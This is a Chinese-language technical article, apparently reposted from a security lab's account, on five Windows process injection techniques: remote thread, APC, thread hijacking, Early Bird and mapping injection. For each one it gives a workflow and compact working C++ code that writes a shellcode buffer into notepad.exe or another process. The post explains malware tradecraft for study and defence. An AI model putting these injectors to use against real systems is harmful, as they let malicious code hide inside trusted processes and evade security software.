前言
進程注入是一種眾所周知的技術,惡意程序利用它在進程的內存中插入并執行代碼。
進程注入是一種惡意程序廣泛使用的防御規避技術。大多數情況下,惡意程序使用進程注入來動態運行代碼,這意味著實際的惡意代碼不需要直接寫入磁盤上的文件中,以避免被防病毒軟件的靜態檢測所發現。
簡單來說,進程注入就是將一段數據從一個進程傳輸到另一個進程的方法,這種注入過程可以發生在執行操作的同一進程(自注入)上,也可發生在外部進程上。在注入外部進程的情況下,攻擊者通常會選擇受信任的合法進程,例如正在運行的應用程序或系統進程,其目的是未經授權地訪問和操縱這些進程,同時也希望能夠隱藏自己注入的惡意代碼,以逃避安全軟件和防御者的檢測。
無論是在同一進程還是遠程進程中,為了在內存中注入和執行代碼,攻擊者會使用 Windows API 的不同組合。這些 API 在注入邏輯中有不同的用途,具體使用的函數調用數量和特定的 Windows API 可能會有所不同,這取決于所選的代碼注入方法。
已有多種方法實現在 Windows 進程空間內的代碼注入和執行,下面列出了常見的進程注入方法(以注入 shellcode 為例,注入 DLL 類似)。
ps:文中設計的示例代碼為了精簡,方便看清邏輯,并未添加相關錯誤處理。
傳統的遠程線程注入
該注入技術通過實例化遠程線程來實現在目標進程中的執行。
工作流程:
獲取目標進程的句柄
在目標進程中為 payload 分配空間
將 payload 寫入目標進程分配的空間中
創建一個線程執行注入代碼
intmain() { SIZE_T payloadLen = sizeof(payload); DWORD pid = FindProcessIdByName(TEXT("notepad.exe")); HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid); LPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ); WriteProcessMemory(hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, NULL); HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteBuffer, NULL, 0, NULL); WaitForSingleObject(hThread, 500); return0; }
根據該注入技術,可以拓展出許多基于該技術的變種,在獲取目標進程句柄上,惡意程序可以通過創建一個新的進程來實現(CreateProcess、CreateProcessWithLogonW、CreateProcessAsUser、NtCreateUserProcess 等),而不僅僅通過打開現有進程實現,獲取通過較低層次的 API(Native API)NtOpenProcess 來獲取目標進程句柄,在比如可以使用 NtWriteVirtualMemory 將數據寫入對方內存,使用類似 ZwCreateThreadEx、RtlCreateUserThread 等 API 來執行寫入的惡意代碼。
APC 注入
進程中每一個線程都存在一個 APC 隊列,當一個線程從等待狀態中蘇醒(線程調用 SlleepEx、SignalObjectAndWait、MsgWaitForMultiple、ObjectsEx、WaitForMultipleObjectsEx、WaitForSingleObjectEx 函數時會進入可喚醒狀態),進入可警報狀態狀態的時候,系統遍歷該線程的 APC 隊列,然后按照 FIFO 的順序來執行 APC。在用戶模式下,我們可以像創建遠程線程一樣,使用 QueueUserAPC 把 APC 過程添加到目標線程的 APC 隊列中,等這個線程處于可警報狀態時,就會執行插入的 APC 過程了。更詳細的 APC 解釋可參考 Asynchronous Procedure Calls(鏈接:https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls)
工作流程:
獲取目標進程句柄
獲取目標進程任一線程句柄
在目標進程中為 payload 分配空間
將 payload 寫入目標進程分配的空間
將 APC 插入目標線程的 APC 隊列中
當這個線程處于可警報狀態時,惡意代碼將被執行,APC 注入的優點,避免了在目標進程中創建新的線程,使用異步過程調用去觸發惡意代碼的執行。但缺點也很明顯,惡意代碼被觸發執行的條件苛刻,被觸發的時機不確定。
intmain() { SIZE_T payloadLen = sizeof(payload); DWORD pid = FindProcessIdByName(TEXT("notepad.exe")); HANDLE hThread = FindThread(pid); HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid); LPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ); WriteProcessMemory(hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, NULL); QueueUserAPC((PAPCFUNC)pRemoteBuffer, hThread, NULL); return0; }
Thread Hijacking 注入
該注入技術通過將目標線程的執行重定向到任意代碼來控制進程內執行流的技術。它允許攻擊者在不創建新進程或修改底層代碼的情況下操縱正在運行的進程的行為。
工作流程:
獲取目標進程句柄以及目標進程的任一線程句柄
在目標進程為 payload 分配一段空間
將 payload 寫入目標進程
掛起目標線程
獲取目標線程上下文
修改目標線程 RIP(x64)/EIP(x86)讓其指向存放 payload 的地址
提交劫持目標線程上下文
恢復被劫持的線程執行
intmain() { SIZE_T payloadLen = sizeof(payload); CONTEXT ctx{}; DWORD pid = FindProcessIdByName(TEXT("notepad.exe")); HANDLE hThread = FindThread(pid); HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid); LPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ); WriteProcessMemory(hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, (SIZE_T*)NULL); SuspendThread(hThread); ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(hThread, &ctx); #ifdef_WIN64 ctx.Rip = (DWORD_PTR)pRemoteBuffer; #else ctx.Eip = (DWORD_PTR)pRemoteBuffer; #endif SetThreadContext(hThread, &ctx); ResumeThread(hThread); return0; }
Early Bird 注入
Early Bird 是一種簡單而強大的技術,實際上它是 APC 注入和 Thread Hijacking 注入的結合體,具體原理是在線程初始化時會調用 NTDLL 中的未導出函數 NtTestAlert,它是一個用于檢查當前線程的 APC 隊列的函數。如果隊列中有任何排隊的作業,NtTestAlert 會清空隊列。在線程啟動時,在執行任何其他操作之前,NtTestAlert 函數會被調用。因此,如果在線程的初始狀態下操作 APC,就可以成功執行惡意代碼。
工作流程:
創建一個處于掛起狀態的合法進程
在目標進程的內存空間中為 payload 分配內存
將 payload 寫入目標進程
將 APC 插入目標進程主線程的 APC 隊列中
恢復目標進程的主線程執行
intmain() { SIZE_T payloadLen = sizeof(payload); TCHAR processName[] = TEXT("notepad.exe"); STARTUPINFO si{sizeof(si)}; PROCESS_INFORMATION pi{}; CreateProcess(NULL, processName, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); LPVOID pRemoteBuffer = VirtualAllocEx(pi.hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ); WriteProcessMemory(pi.hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, (SIZE_T*)NULL); QueueUserAPC((PAPCFUNC)pRemoteBuffer, pi.hThread, NULL); ResumeThread(pi.hThread); return0; }
在將 payload 寫入目標進程后,當惡意代碼被執行時,查看此時調用堆棧可以發現 NtTestAlert 函數被調用,可以發現導致惡意代碼被執行的流程是:
LdrInitializeThunk→ LdrpInitialize → _LdrpInitialize → NtTestAlert → KiUserApcDispatcher
Mapping 注入
通過利用 MapViewOfFile 相關函數,惡意代碼可以將攻擊者控制的現有節映射到目標進程中。這樣做的好處是不需要顯式地分配具有 RWX 權限的內存,并且避免了復制單獨有效載荷的需要。惡意代碼間接地成為目標進程內存空間的一部分,從而允許它在真正模塊的上下文中執行。
工作流程:
創建具有 RWX 保護屬性的映射對象
將映射對象映射到本地進程的虛擬地址空間中
將 payload 寫入到映射地址中
獲取目標進程句柄
將映射對象映射到遠程進程的虛擬地址空間中
創建一個線程執行注入代碼
intmain() { SIZE_T payloadLen = sizeof(payload); DWORD pid = FindProcessIdByName(TEXT("pe-bear.exe")); HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, (DWORD)payloadLen, NULL); LPVOID pLocalView = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, payloadLen); memcpy(pLocalView, payload, payloadLen); HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid); LPVOID pRemoteView = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ); HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteView, NULL, 0, NULL); WaitForSingleObject(hThread, 500); UnmapViewOfFile(pLocalView); CloseHandle(hThread); CloseHandle(hMapping); return0; }
總結
大多數進程注入技術的步驟如下(某些技術可能需要額外的步驟):
首先,需要獲取目標進程的句柄,這可以通過創建一個新的進程或使用 API 函數來查看運行中的進程來實現;
其次,需要準備好要注入的數據(shellcode、PE(exe、dll...));
然后,需要找到一種方法將準備好的數據傳輸到目標進程。這可以使用進程間通信(IPC)機制或一些系統 API 組合實現;
最后,需要執行注入的代碼,將準備好的數據在目標進程中運行起來
進程注入在惡意代碼開發中被大量使用,防御者也在研究越來越多的新技術,傳統的進程注入技術大多依賴于通用的 API,在一些高級的進程注入方法中,這些新的注入方法比傳統的注入手段更加復雜,這些注入方法針對目標進程的內部結構,而不僅僅依賴通用 API,這使得防御者更難檢測,在后續的文章中,將分析這些高級的注入方法,研究其實現原理。
審核編輯:劉清
-
dll
+關注
關注
0文章
115瀏覽量
45379 -
RIP
+關注
關注
0文章
31瀏覽量
10747 -
觸發器
+關注
關注
14文章
1996瀏覽量
61052 -
狀態機
+關注
關注
2文章
492瀏覽量
27478 -
APC
+關注
關注
0文章
36瀏覽量
11490
原文標題:進程注入系列Part 1 常見的進程注入手段
文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論